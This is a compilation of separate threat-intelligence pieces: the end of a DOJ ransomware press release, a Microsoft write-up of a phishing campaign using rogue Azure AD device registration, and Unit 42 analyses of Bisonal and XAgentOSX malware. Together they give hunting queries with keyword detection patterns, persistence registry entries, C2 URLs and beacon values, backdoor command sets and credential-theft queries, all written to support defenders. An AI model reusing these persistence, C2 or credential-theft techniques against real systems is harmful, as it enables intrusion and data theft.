The U.S. Department of the Treasury Financial Crimes Enforcement Network (FinCEN), Department of Homeland Security's Cybersecurity and Infrastructure Security Agency (CISA), Germany’s Public Prosecutor’s Office Stuttgart and State Office of Criminal Investigation of Baden-Wuerttemberg; Switzerland’s Public Prosecutor’s Office II of the Canton of Zürich and Cantonal Police Zürich; United Kingdom’s National Crime Agency; U.S. Secret Service; Texas Department of Information Resources; BitDefender; McAfee; and Microsoft also provided significant assistance.
This case is part of the Department of Justice’s Ransomware and Digital Extortion Task Force, which was created to combat the growing number of ransomware and digital extortion attacks. As part of the task force, the Criminal Division, working with the U.S. Attorneys’ Offices, prioritizes the disruption, investigation, and prosecution of ransomware and digital extortion activity by tracking and dismantling the development and deployment of malware, identifying the cybercriminals responsible, and holding those individuals accountable for their crimes. The department, through the task force, also strategically targets the ransomware criminal ecosystem as a whole and collaborates with domestic and foreign government agencies as well as private sector partners to combat this significant criminal threat.
An indictment is merely an allegation, and all defendants are presumed innocent until proven guilty beyond a reasonable doubt in a court of law. |
# Evolved Phishing: Device Registration Trick Adds to Phishers’ Toolbox for Victims Without MFA
We have recently uncovered a large-scale, multi-phase campaign that adds a novel technique to traditional phishing tactics by joining an attacker-operated device to an organization’s network to further propagate the campaign. We observed that the second stage of the campaign was successful against victims that did not implement multifactor authentication (MFA), an essential pillar of identity security. Without additional protective measures such as MFA, the attack takes advantage of the concept of bring-your-own-device (BYOD) via the ability to register a device using freshly stolen credentials.
The first campaign phase involved stealing credentials in target organizations located predominantly in Australia, Singapore, Indonesia, and Thailand. Stolen credentials were then leveraged in the second phase, in which attackers used compromised accounts to expand their foothold within the organization via lateral phishing as well as beyond the network via outbound spam.
Connecting an attacker-controlled device to the network allowed the attackers to covertly propagate the attack and move laterally throughout the targeted network. While in this case device registration was used for further phishing attacks, leveraging device registration is on the rise as other use cases have been observed. Moreover, the immediate availability of pen testing tools, designed to facilitate this technique, will only expand its usage across other actors in the future.
MFA, which prevents attackers from being able to use stolen credentials to gain access to devices or networks, foiled the campaign for most targets. For organizations that did not have MFA enabled, however, the attack progressed.
Phishing continues to be the most dominant means for attacking enterprises to gain initial entry. This campaign shows that the continuous improvement of visibility and protections on managed devices has forced attackers to explore alternative avenues. The potential attack surface is further broadened by the increase in employees who work-from-home, which shifts the boundaries between internal and external corporate networks. Attackers deploy various tactics to target organizational issues inherent with hybrid work, human error, and “shadow IT” or unmanaged apps, services, devices, and other infrastructure operating outside standard policies.
These unmanaged devices are often ignored or missed by security teams at join time, making them lucrative targets for compromising, quietly performing lateral movements, jumping network boundaries, and achieving persistence for the sake of launching broader attacks. Even more concerning, as our researchers uncovered in this case, is when attackers manage to successfully connect a device that they fully operate and is in their complete control.
To fend off the increasing sophistication of attacks as exemplified by this attack, organizations need solutions that deliver and correlate threat data from email, identities, cloud, and endpoints. Microsoft 365 Defender coordinates protection across these domains, automatically finding links between signals to provide comprehensive defense. Through this cross-domain visibility, we were able to uncover this campaign. We detected the anomalous creation of inbox rules, traced it back to an initial wave of phishing campaign, and correlated data to expose the attackers’ next steps, namely device registration and the subsequent phishing campaign.
This attack shows the impact of an attacker-controlled unmanaged device that may become part of a network when credentials are stolen and Zero Trust policies are not in place. Microsoft Defender for Endpoint provides a device discovery capability that helps organizations to find certain unmanaged devices operated by attackers whenever they start having network interactions with servers and other managed devices. Once discovered and onboarded, these devices can then be remediated and protected.
In this blog post, we share the technical aspects of a large-scale, multi-phase phishing campaign. We detail how attackers used the first attack wave to compromise multiple mailboxes throughout various organizations and implement an inbox rule to evade detection. This was then followed by a second attack wave that abused one organization’s lack of MFA protocols to register the attackers’ unmanaged device and propagate the malicious messages via lateral, internal, and outbound spam.
## First Wave and Rule Creation
The campaign leveraged multiple components and techniques to quietly compromise accounts and propagate the attack. Using Microsoft 365 Defender threat data, we found the attack’s initial compromise vector to be a phishing campaign. Our analysis found that the recipients received a DocuSign-branded phishing email.
The attacker used a set of phishing domains registered under .xyz top-level domain. The phishing link was uniquely generated for each email, with the victim’s email address encoded in the query parameter of the URL. After clicking the link, the victim was redirected to a phishing website that imitated the login page for Office 365. The fake login page was pre-filled with the targeted victim’s username and prompted them to enter their password. This technique increased the likelihood that the victim viewed the website as being legitimate and trustworthy.
Next, we detected that the victim’s stolen credentials were immediately used to establish a connection with Exchange Online PowerShell, most likely using an automated script as part of a phishing kit. Leveraging the Remote PowerShell connection, the attacker implemented an inbox rule via the New-InboxRule cmdlet that deleted certain messages based on keywords in the subject or body of the email message. The inbox rule allowed the attackers to avoid arousing the compromised users’ suspicions by deleting non-delivery reports and IT notification emails that might have been sent to the compromised user.
During our investigation of the first stage of this campaign, we saw over one hundred compromised mailboxes in multiple organizations with inbox rules consistently fitting the pattern below:
| Mailbox | Condition | Action |
|---------|-----------|--------|
| rule name | Spam Filter | SubjectOrBodyContainsWords: "junk;spam;phishing;hacked;password;with you" MarkAsRead |
While multiple users within various organizations were compromised in the first wave, the attack did not progress past this stage for the majority of targets as they had MFA enabled. The attack’s propagation heavily relied on a lack of MFA protocols. Enabling MFA for Office 365 applications or while registering new devices could have disrupted the second stage of the attack chain.
## Device Registration and Second Wave Phishing
One account belonging to an organization without MFA enabled was further abused to expand the attackers’ foothold and propagate the campaign. More specifically, the attack abused the organization’s lack of MFA enforcement to join a device to its Azure Active Directory (Azure AD) instance, or possibly to enroll into a management provider like Intune to enforce the organization’s policies based on compliant devices.
In this instance, the attackers first installed Outlook onto their own Windows 10 machine. This attacker-owned device was then successfully connected to the victim organization’s Azure AD, possibly by simply accepting Outlook’s first launch experience prompt to register the device by using the stolen credentials. An Azure AD MFA policy would have halted the attack chain at this stage.
Azure AD evaluates and triggers an activity timestamp when a device attempts to authenticate, which can be reviewed to discover freshly registered devices. In our case, this includes a Windows 10 device either Azure AD joined or hybrid Azure AD joined and active on the network. The activity timestamp can be found by either using the Get-AzureADDevice cmdlet or the Activity column on the devices page in the Azure portal. Once a timeframe is defined and a potential rogue device is identified, the device can be deleted from Azure AD, preventing access to resources using the device to sign in.
The creation of the inbox rule on the targeted account coupled with the attackers’ newly registered device meant that they were now prepared to launch the second wave of the campaign. This second wave appeared to be aimed at compromising additional accounts by sending lateral, internal, and outbound phishing messages.
By using a device now recognized as part of the domain coupled with a mail client configured exactly like any regular user, the attacker gained the ability to send intra-organizational emails that were missing many of the typical suspect identifiers. By removing enough of these suspicious message elements, the attacker thereby significantly expanded the success of the phishing campaign.
To launch the second wave, the attackers leveraged the targeted user’s compromised mailbox to send malicious messages to over 8,500 users, both in and outside of the victim organization. The emails used a SharePoint sharing invitation lure as the message body in an attempt to convince recipients that the “Payment.pdf” file being shared was legitimate.
Like the first stage of the campaign, we found that the URL used in the second wave phishing emails matched the first wave structure and also redirected to the phishing website imitating the Office 365 login page. Victims that entered their credentials on the second stage phishing site were similarly connected with Exchange Online PowerShell, and almost immediately had a rule created to delete emails in their respective inboxes. The rule had identical characteristics to the one created during the campaign’s first stage of attack.
Generally, the vast majority of organizations enabled MFA and were protected from the attackers’ abilities to propagate the attack and expand their network foothold. Nonetheless, those that do not have MFA enabled could open themselves up to being victimized in potential future attack waves.
## Remediating Device Persistence: When Resetting Your Password is Not Enough
Analysis of this novel attack chain and the additional techniques used in this campaign indicates that the traditional phishing remediation playbook will not be sufficient here. Simply resetting compromised accounts’ passwords may ensure that the user is no longer compromised, but it will not be enough to eliminate ulterior persistence mechanisms in place. Careful defenders operating in hybrid networks need to also consider the following steps:
- Revocation of active sessions and any token associated with the compromised accounts
- Deletion of any mailbox rules eventually created by the actor
- Disable and removal of any rogue device joined to Azure AD by the actor
If these additional remediation steps are not taken, the attacker could still have valuable network access even after successfully resetting the password of the compromised account. An in-depth understanding of this attack is necessary to properly mitigate and defend against this new type of threat.
## Defending Against Multi-Staged Phishing Campaigns
The latest Microsoft Digital Defense Report detailed that phishing poses a major threat to both enterprises and individuals, while credential phishing was leveraged in many of the most damaging attacks in the last year. Attackers targeting employee credentials, particularly employees with high privileges, typically use the stolen data to sign into other devices and move laterally inside the network. The phishing campaign we discussed in this blog exemplifies the increasing sophistication of these attacks.
In order to disrupt attackers before they reach their target, good credential hygiene, network segmentation, and similar best practices increase the “cost” to attackers trying to propagate through the network. These best practices can limit an attacker’s ability to move laterally and compromise assets after initial intrusion and should be complemented with advanced security solutions that provide visibility across domains and coordinate threat data across protection components.
Organizations can further reduce their attack surface by disabling the use of basic authentication, enabling multi-factor authentication for all users, and requiring multi-factor authentication when joining devices to Azure AD. Microsoft 365 global admins can also disable Exchange Online PowerShell for individual or multiple end users via a list of specific users or filterable attributes, assuming that the target accounts all share a unique filterable attribute such as Title or Department. For additional security, customers can enforce our new Conditional Access control requiring MFA to register devices, which can be combined with other CA conditions like device platform or trusted networks.
Microsoft 365 Defender correlates the alerts and signals related to initial phishing generated by suspicious inbox rule creation as well as suspicious device registration into a single easy-to-comprehend incident.
Microsoft Defender for Office 365 protects against email threats using its multi-layered email filtering stack, which includes edge protection, sender intelligence, content filtering, and post-delivery protection, in addition to including outbound spam filter policies to configure and control automatic email forwarding to external recipients. Moreover, Microsoft Defender for Office 365 uses Safe Links feature to proactively protect users from malicious URLs in internal messages or in an Office document at time of click.
## Advanced Hunting Queries
### Hunting for Emails with Phishing URL
```plaintext
let startTime = ago(7d);
let endTime = now();
EmailUrlInfo
| where Timestamp between (startTime..endTime)
| where UrlDomain matches regex @"^[a-z]{5}\.ar[a-z]{4,5}\.xyz"
| project NetworkMessageId, Url
| join (EmailEvents
| where Timestamp between (startTime..endTime))
on NetworkMessageId
```
### Hunting for Suspicious Inbox Rules
```plaintext
let startTime = ago(7d);
let endTime = now();
CloudAppEvents
| where Timestamp between(startTime .. endTime)
| where ActionType == "New-InboxRule"
| where RawEventData contains "Spam Filter"
| where RawEventData has_any("junk","spam","phishing","hacked","password","with you")
| where RawEventData contains "DeleteMessage"
| project Timestamp, AccountDisplayName, AccountObjectId, IPAddress
```
### Hunting for Rogue Device Registrations
```plaintext
let startTime = ago(7d);
let endTime = now();
CloudAppEvents
| where Timestamp between(startTime .. endTime)
| where ActionType == "Add registered owner to device."
| where RawEventData contains "notorius"
| where AccountDisplayName == "Device Registration Service"
| where isnotempty(RawEventData.ObjectId) and
isnotempty(RawEventData.ModifiedProperties[0].NewValue) and
isnotempty(RawEventData.Target[1].ID) and
isnotempty(RawEventData.ModifiedProperties[1].NewValue)
| extend AccountUpn = tostring(RawEventData.ObjectId)
| extend AccountObjectId = tostring(RawEventData.Target[1].ID)
| extend DeviceObjectId = tostring(RawEventData.ModifiedProperties[0].NewValue)
| extend DeviceDisplayName = tostring(RawEventData.ModifiedProperties[1].NewValue)
| project Timestamp, ReportId, AccountUpn, AccountObjectId, DeviceObjectId, DeviceDisplayName
``` |
# Bisonal Malware Used in Attacks Against Russia and South Korea
**By Kaoru Hayashi and Vicky Ray**
**July 31, 2018**
## Summary
In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents.
Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations. In October 2017, AhnLab published a report called “Operation Bitter Biscuit,” an attack campaign against South Korea, Japan, India, and Russia using Bisonal and its successors, Bioazih and Dexbia. We believe it is likely these tools are being used by one group of attackers.
Though Bisonal malware has been in the wild for at least seven years and frequently updated, the actors keep using the same high-level playbooks. Common features of attacks involving Bisonal include:
- Usually targeting organizations related to government, military, or defense industries in South Korea, Russia, and Japan.
- In some cases, the use of Dynamic DNS (DDNS) for C2 servers.
- The use of a target or campaign code with its C2 to track victim or attack campaign connections.
- Disguising the Bisonal malware as a PDF, Microsoft Office Document, or Excel file.
- The use of a decoy file in addition to the malicious PE file.
- In some cases, code to handle Cyrillic characters on Russian-language operating systems.
We observed all these characteristics in the latest attacks against both Russia and South Korea.
## Targeting Russia
While investigating attack campaigns, Unit 42 discovered a targeted attack against at least one organization in Russia which provides communication security services and products. The targeted organization specializes in encryption and cryptographic services and develops a broad number of secure communication products which also includes telecommunication systems and data protection facilities. Given the sensitivity of the products being developed by the target organization, it is not a surprise to see a targeted attack towards the organization by a known threat actor.
The spear-phishing email sent to the target organization was spoofed to look like it was sent from Rostec, a Russian state corporation that promotes the development, production, and export of high-tech industrial products. The contents of the email suggest it was sent from the legal support and corporate governance department of Rostec and includes project details aimed at improving the housing conditions of defense industry workers. The attackers may be trying to exploit the relationship between Rostec and the target to add an additional air of legitimacy to the attack.
**Subject:** A comprehensive project to create housing and construction cooperatives for defense workers
**Body:** Good afternoon, dear colleagues! By the May Day, I am sending you a comprehensive project aimed at improving the housing conditions of defense industry workers. Congratulations!
**Attachment:** Comprehensive project for the creation of housing construction cooperatives for defense workers .exe
Once the malicious executable attachment is opened, the main payload is dropped in the victim machine and displays a decoy file to the victim. The contents of the decoy file are an exact match to an article published on Rostec’s website on January 30th, 2018. The article discusses new housing project plans by Rostec and other state departments, and the benefits to the defense industry workers who are eligible for free housing under the project.
Upon further analysis of the malware payload, we determined it is part of the Bisonal malware family. Since the details of the malware family have already been published, we will discuss some of the unique indicators and techniques the threat actor behind Bisonal employed in this campaign.
### Malware Analysis
**Malware Dropper**
The dropper executable file in the Russian attack hides the encrypted Bisonal DLL file and non-malicious decoy file at the end of its body. Once executed, the dropper decrypts the data blob using the RC4 cipher with the key, “34123412”, saves them in the path shown below, and executes them.
| Type | PATH | SHA256 |
|---------|------------------------------------------------|-------------------------------------------------------------------------|
| Dropper | N/A | b1da7e1963dc09c325ba3ea2442a54afea02929ec26477a1b120ae44368082f8 |
| Bisonal | C:\Windows\Temp\pvcu.dll | 1128D10347DD602ECD3228FAA389ADD11415BF6936E2328101311264547AFA75 |
| Russian | C:\Windows\Temp\Комплексный проект по созданию жилищно-строительных кооперативов для работников оборонки.pdf | F431E0BED6B4B7FFEF5E40B1B4B7078F2538F2B2DB2869D831DE5D7DF26EE6CD |
The dropper then creates the following registry entry to execute the Bisonal sample when the computer reboots:
`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\”vert” = “rundll32.exe c:\windows\temp\pvcu.dll , Qszdez”`
**Bisonal Main Module**
The DLL (pvcu.dll) is Bisonal malware but using a different cipher for C2 communication than other publicly documented samples. Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the body. The Bisonal sample we observed in this case employs the RC4 cipher with the key “78563412”. To date, all Bisonal samples we have seen using RC4 use this same key. The oldest sample we have dates to 2014, so this variant has been in the wild for several years.
Adding to the change in encryption type, a large part of the code such as network communication procedures, and the persistence method have been rewritten. For example, the Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2. For this variant, the developer wholly recreated C2 code from scratch by using other network APIs, such as HttpSendRequest() and InternetReadFile().
This Bisonal variant used in the latest attack communicates with one of the following hard-coded C2 addresses by using the HTTP POST method on TCP port 443:
- kted56erhg.dynssl[.]com
- euiro8966.organiccrap[.]com
These domains are provided by a free DDNS service and both resolve to the same IP address, 116.193.155[.]38.
When this Bisonal variant communicates with its C2, the malware sends an HTTP POST request with the static strings “ks8d” and “akspbu.txt”, and the IP address of the compromised machine. Readers may notice the missing closing parenthesis in the User Agent request header. That string is hardcoded in this malware variant. We have more than 230 samples of Bisonal in total and only 14 samples since 2014 use this incomplete User Agent string. It is unclear whether the author forgot to add the closing parenthesis while developing the code, or intentionally used this string for validating the connection to the C2 server. Either way, it can be a good indicator in network logs for a possible Bisonal infection.
### C2 Communication
Another sign of the infection is the data being sent to the C2 server during the initial connection. Every time this variant of Bisonal communicates with its C2, it sends a unique ID number and backdoor command in the first eight bytes. The malware sends hardcoded DWORD values (0x10000 and 0x3E7) just for the initial connection and receives updated values from the C2 and uses them for further communication. As described above, all communications between this Bisonal variant and C2 are encrypted by RC4 cipher with the static key “78563412”. As a result of enciphering static values, the backdoor always sends identical eight bytes of data (81b2a8977ea31b91) to the C2 first.
Soon after receiving the initial beacon from the victim infected with Bisonal, the C2 replies with a session ID number and backdoor command. The session ID number is consistent throughout the C2 communication. The malware then processes the given command on the compromised system and sends the result back to C2 with the session ID number and the backdoor command number. Then the C2 replies with that same session ID number. The backdoor waits five seconds and restarts communication with the C2 with the same session ID number.
Below is an example of the reply to the command, “get system info”. The actual traffic between the C2 and Bisonal sample is on the left side, and the decrypted payload is on the right side. The first DWORD (four bytes) is the given session ID, 0x00000003, and the next DWORD is a backdoor command, 0x000000C8. At offset 8 of the decrypted payload, there is a campaign or target code. In this sample, it is “0425god”.
### Backdoor Commands
The following table shows the list of backdoor commands this sample supports.
| Command | Meaning |
|------------------|-------------------------------|
| 0x000000C8 | gets system info |
| 0x000000C9 | gets running process list |
| 0x000000CA | terminates process |
| 0x000000CB | accesses cmd shell |
| 0x000000CD | downloads file |
| 0x000000CF | executes file |
| 0x000000D1 | creates file |
## Targeting South Korea
While investigating other Bisonal samples, we found another dropper submitted to an online malware database on March 6. The original file name was “2018년 해양경찰청 공무원 (7급 9급) (2018.03.05).pdf.exe”. This translates to “2018 Korean Coast Guard Government Employee (Grade 7, Grade 9).pdf.exe” in English. Similar to the Bisonal variant targeting the Russian organization, this sample was also disguised as a PDF document.
The dropper executable installs Bisonal and a decoy file in the paths shown in the table below.
| Type | PATH | SHA256 |
|---------------------|--------------------------------------------|-------------------------------------------------------------------------|
| Dropper EXE | N/A | 0641fe04713fbdad272a6f8e9b44631b7554dfd1e1332a8afa767d845a90b3fa |
| Bisonal EXE | %Temp%\[random].tmp | 359835C4A9DBE2D95E483464659744409E877CB6F5D791DAA33FD601A01376FC |
| Korean Decoy PDF | [dropper path]\[same file name without .exe].pdf | B2B764597D097FCB93C5B11CBD864AB1BCB894A2A1E2D2DE1C469880F612431C |
Though the functionality of the two dropper samples looks very similar, the dropper code of this sample is completely different from the Russian targeting sample described above.
- The dropper installs the Bisonal EXE file and decoy PDF file. These files are not encrypted and the offset to the EXE and PDF file in the dropper is appended at the end of the dropper file. In the Russian samples, the offset to these files is hardcoded in the code.
- The file name of the decoy file is based on the dropper file name. The dropper code creates a PDF at the same directory, gives the same name with itself to the decoy file, removes .exe, and adds .pdf in the code. For example, if the file name is ABCDEFG.pdf.exe, the decoy filename would be pdf.pdf.
- The dropper also creates two VBS scripts in the %Temp% directory with a random 4 digits hexadecimal name. One of them opens the decoy PDF file. The other deletes the dropper and the VBS script itself.
The contents of the decoy PDF is a job description with the South Korean Coast Guard. The original document was a Hangul Word Processor (HWP) file posted on the South Korean Coast Guard website on March 5, 2018. Based on the metadata we found in the PDF, we strongly believe that the attacker converted the HWP to PDF. Interestingly, the same creator name is found in the decoy PDF file of another sample of the Bisonal variant submitted to an online malware database in September 2014. This decoy is a contact list of Agriculture, Food, Rural Affairs, Oceans, and Fisheries Committee of the National Assembly of the Republic of Korea. According to the metadata, this file is also converted from an HWP document with the same tool by the same creator. Though we don’t know whether the creator is real or fake information, we can say the attacker has not changed this tool and technique for years.
### Main EXE
The installed EXE file is almost exactly the same as the DLL version of the Bisonal variant used against the Russian organization. Following is a brief write-up of the Bisonal EXE’s behavior. There are only three differences from the DLL sample; creating a registry entry by itself, the C2 domain, and the target or campaign code. The EXE’s behavior is discussed below.
- It creates the registry entry, HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\”mismyou” = %Temp%[random].tmp to achieve persistence. In contrast, the DLL version does not create a registry entry because the dropper of the DLL does.
- It decrypts the C2 domain address by using the RC4 cipher with the same key “78563412”.
- It connects to hxxp://games.my-homeip[.]com:443/ks8d[ip address]akspbu.txt by using the HTTP POST method with the same incomplete User Agent string “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322”.
- It sends the same initial beacon value of 81b2a8977ea31b91 to the C2 server.
- It uses a different target or campaign code, “pmo”.
- It has the same backdoor commands, starting with 0x000000C8 in hex.
- It also checks the code page and command in “shell access” and converts text from Cyrillic to UTF-16.
### Summary of Bisonal Samples
| Year | Target Country | Campaign or Target Code | SHA256 | Cipher | Bisonal Marker | Cy |
|------|----------------|-------------------------|-------------------------------------------------------------------------|--------|----------------|----|
| 2012 | unidentified | 1031 | 43459f5117bee7b49f2cee7ce934471e01fb2aa2856f230943460e14e19183a6 | XOR | YES | YE |
| 2014 | South Korea | 0919-1 | dfa1ad6083aa06b82edfa672925bb78c16d4e8cb2510cbe18ea1cf598e7f2722 | RC4 | NO | YE |
| 2018 | Russia | 0425god | 1128D10347DD602ECD3228FAA389ADD11415BF6936E2328101311264547AFA75 | RC4 | NO | YE |
| 2018 | South Korea | pmo | 359835C4A9DBE2D95E483464659744409E877CB6F5D791DAA33FD601A01376FC | RC4 | NO | YE |
## Conclusion
The attackers behind Bisonal have been active for at least 7 years, and the variant used against the Russian and South Korean targets discussed in this blog has been in the wild since 2014. Since the attackers frequently rewrite functions from scratch and avoid reusing infrastructures, some samples look very different from original Bisonal malware. However, as we discussed in this blog, the same original piece of code referencing the malware name "bisonal" remains in at least some samples.
We are still investigating the connection between the latest attacks discussed in this blog and the previous Bisonal attacks reported by industry colleagues. The high-level TTPs of the adversary behind these Bisonal samples match with previous Bisonal activity. The targets are military or defense industry in particular countries, it used DDNS for C2 servers, and tracked connections from their victims by using target or campaign codes, as well as disguising the malware as document files, and using a dropper to install the malware and decoy file. We currently believe one group is behind these attacks, and we continue to investigate.
## IoC
**Dropper SHA256:**
- B1DA7E1963DC09C325BA3EA2442A54AFEA02929EC26477A1B120AE44368082F8
- 0641FE04713FBDAD272A6F8E9B44631B7554DFD1E1332A8AFA767D845A90B3FA
**Bisonal SHA256:**
- 43459F5117BEE7B49F2CEE7CE934471E01FB2AA2856F230943460E14E19183A6
- DFA1AD6083AA06B82EDFA672925BB78C16D4E8CB2510CBE18EA1CF598E7F2722
- 1128D10347DD602ECD3228FAA389ADD11415BF6936E2328101311264547AFA75
- 359835C4A9DBE2D95E483464659744409E877CB6F5D791DAA33FD601A01376FC
**C2:**
- jennifer998.lookin[.]at
- 196.44.49[.]154
- www.hosting.tempors[.]com
- kted56erhg.dynssl[.]com
- euiro8966.organiccrap[.]com
- 116.193.155[.]38
- games.my-homeip[.]com |
# XAgentOSX: Sofacy’s XAgent macOS Tool
By Robert Falcone
February 14, 2017
During our continued research on Sofacy’s Komplex Trojan, we have found a sample of a backdoor Trojan that we believe the Sofacy group uses when targeting individuals running macOS systems. The backdoor Trojan authors have called it XAgentOSX, which shares the name XAgent with one of Sofacy’s Windows-based Trojan and references Apple’s previous name for macOS, OS X. It appears the same actor developed both the Komplex and XAgentOSX tools, based on similarities within the following project paths found within the tools:
- Komplex: `/Users/kazak/Desktop/Project/komplex`
- XAgent OSX: `/Users/kazak/Desktop/Project/XAgentOSX`
We believe it is possible that Sofacy uses Komplex to download and install the XAgentOSX tool to use its expanded command set on the compromised system.
## XAgent C2 Communications
The macOS variant of XAgent has the ability to receive commands from threat actors via its command and control channel, but is also capable of logging keystrokes via its keylogger functionality. XAgent uses HTTP requests to communicate with its C2 servers, which allows the threat actor to interact with the compromised system. The Trojan uses HTTP POST requests to send data to the C2 server and GET requests to receive commands from the server. We are still analyzing this Trojan to determine the specific structure of the data sent between the Trojan and the C2 server; however, it does appear that the Trojan is using the RC4 algorithm to encrypt data sent to the C2 server within HTTP POST requests.
The C2 URLs generated by XAgentOSX are very similar to those created by its Windows-based counterpart. When generating the URL for the HTTP requests issued to the C2 server, the Trojan chooses a random folder from the following to include within the URL path:
- `watch/?`
- `search/?`
- `find/?`
- `results/?`
- `open/?`
- `close/?`
XAgent also will choose several parameter names from the following list when finishing the construction of the C2 URL:
- `itwm=`
- `text=`
- `from=.`
- `ags=`
- `oe=`
- `aq=`
- `btnG=`
- `oprnd=`
- `utm=`
- `channel=`
The XAgent OSX Trojan generates a system-specific value that it refers to as an "agent_id", which is a unique identifier for each compromised host. The value is derived using the IOService to access the IOPlatformUUID property, which is equivalent to the "Hardware UUID" listed in the system information application. The Trojan uses the first four bytes of this hardware ID as a unique identifier for the system.
When generating the URLs within the HTTP POST and GET requests, XAgent sets one HTTP parameter using a specific data structure that contains this agent_id value. This parameter transmits the agent_id to the C2 server to obtain commands the actor wishes to execute on the compromised system. The data structure used to transmit the agent_id to the C2 is as follows:
```
struct {
DWORD random_value_for_key;
CHAR[7] constant_value;
DWORD agent_id;
}
```
The constant value in the data structure is a 7-byte string that is hardcoded to `"\x56\x0E\x9F\xF0\xEB\x98\x43"`, followed by the agent_id value. The first DWORD in the data is a random value that the Trojan will use as an XOR key to encrypt the constant value and the agent_id. The resulting ciphertext is then encoded using XAgent's base64 encoding routine that starts by building the following encoding alphabet:
```
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_
```
It then uses the base64 encoding function with this alphabet to encode the data. The Trojan then creates a string of 9 random symbols and appends the encoded ciphertext to this random string.
In this specific case, the actor made a mistake when configuring this XAgent sample with its C2 locations. The sample creates an array that contains the following strings for the Trojan to use as C2 locations:
- `http://23.227.196[.]215/`
- `http://apple-iclods[.]org/`
- `http://apple-checker[.]org/`
- `http://apple-uptoday[.]org/`
- `http://apple-search[.]info`
Notice the last one is missing the trailing "/", which causes an issue when the Trojan attempts to use this string to build the remainder of the C2 URL.
## Available Commands
The XAgent C2 server will provide commands for the Trojan to run on the compromised system within its response to inbound HTTP requests. The XAgentOSX Trojan includes responses to commands within HTML tags, which we believe allows the C2 server to format logs for viewing.
In most cases, the responses sent to the C2 server are included between the `<font size=4 color=000066><pre>` and `</pre></font>` HTML tags. We analyzed the command handler and found that it provided the necessary commands for a fully functional backdoor. The command handler obtains a command identifier from the C2 server and adds `0xFFFFFF9B` to this value and then uses a switch statement to determine the appropriate command to execute. The switch statement checks for 19 cases, between 101 and 119.
| Command ID | Function | Description |
|------------|------------------------------|-------------|
| 101 | getInfoOSX | Gathers username and OSX version and responds using the encrypted form of the following string: "Mac OS X - [OSX version] x64<br>\nUser name - [username]" |
| 102 | getProcessList | Runs "ps aux" to obtain a list of running processes |
| 103 | remoteShell | Runs supplied command using "/bin/sh" |
| 104 | getInstalledAPP | Gets a list of installed applications by running the command "ls -la /Applications" |
| 105 | showBackupIosFolder | Checks to see if an IOS device was backed up to the system by running the command "ls -la ~/Library/Application\ Support/MobileSync/Backup/" |
| 106 | downloadFileFromPath | Uploads a file from a specified path |
| 107 | createFileInSystem | Downloads a file, specifically provided within the C2 server's HTTP response |
| 108 | execFile | Executes a specified file on the system using the NSTask:launch method |
| 109 | deletFileFromPath | Deletes a specified file using the NSFileManager:removeFileAtPath method |
| 110 | takeScreenShot | Takes a screenshot using the CGGetActiveDisplayList, CGDisplayCreateImage, NSImage:initWithCGImage methods. Returns the screenshot to the C2 via: `<img src='data:image/jpeg;base64,[base64 of screenshot]' width=800 height=500 /><br>` |
| 111 | startTakeScreenShot | Creates a thread to take a screenshot at a set interval (default: every 10 seconds). Uses the same method in "takeScreenShot" function |
| 112 | stopTakeScreenShot | Closes the thread created in the "startTakeScreenShot" function |
| 116 | getFirefoxPassword | Looks for folders with "/Firefox/Profiles" in the path and reads the contents of the "logins.json" file for "hostname", "encryptedUsername" and "encryptedPassword" entries. It also attempts to issue the following SQL query on the "signons.sqlite" file: "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins WHERE timePasswordChanged/1000 BETWEEN ? AND ?" |
| 117 | ftpUpload | Uses FTPManager:uploadFile method and a supplied server name, username and password. |
| 118 | ftpStop | Calls "stopOperation" method, but does not appear to stop FTP uploads. |
| 119 | readFiles | Obtains file information on a file or a folder, and supports a "*" wildcard and recursive file list. The code will gather the information and format the list using HTML to create a table. |
The ‘showBackupIosFolder’ command is rather interesting, as it allows the threat actors to determine if a compromised system was used to backup an IOS device, such as an iPhone or iPad. We believe this command is used to determine if a mobile device was backed up, and we speculate that the actors would use other commands within XAgent to exfiltrate those files.
## Keylogging Functionality
XAgent also has a keylogger functionality that allows the threat actors to steal credentials as the user types them. XAgent logs keystrokes by calling the `CGEventTapCreate` function to set an event hook to call a callback function named `_myCGEventTapCallBack` when it detects pressed keys. This callback function will call a function named `pressedKeyWithKeyCode`, which is responsible for logging the keystrokes. The keylogger will monitor for active application windows and write them to the log in the following format:
`<span class='keylog_process'>[Application Name]</span>`
The keylogger will log a configurable amount of keystrokes (default 50) before sending the log to the C2 server using the following format:
`<span class='keylog_user_keys'>[logged keystrokes]</span>`
The keylogger can handle logging special keys, such as return and the function keys and will report those within the log in the following format:
`<span class='keylog_spec_key'>[special character]</span>`
## Infrastructure
The XAgentOSX sample we analyzed was configured to use the following IP address and domain names as its C2 servers:
- `23.227.196[.]215`
- `apple-iclods[.]org`
- `apple-checker[.]org`
- `apple-uptoday[.]org`
- `apple-search[.]info`
When we analyzed this sample, the domain names that were used as backup C2 locations were not registered; therefore, these domains did not provide any links to additional infrastructure. We were also unable to find any additional infrastructure based on the primary C2 location of `23.227.196[.]215`. However, according to CrowdStrike, the nearby IP address `23.227.196[.]217` hosted the C2 location for an XTunnel payload used by the Sofacy group in the attack on the Democratic National Committee. While these IP addresses do not directly overlap, it does appear that the Sofacy group continues to use the same hosting services to host their infrastructure.
## Conclusion
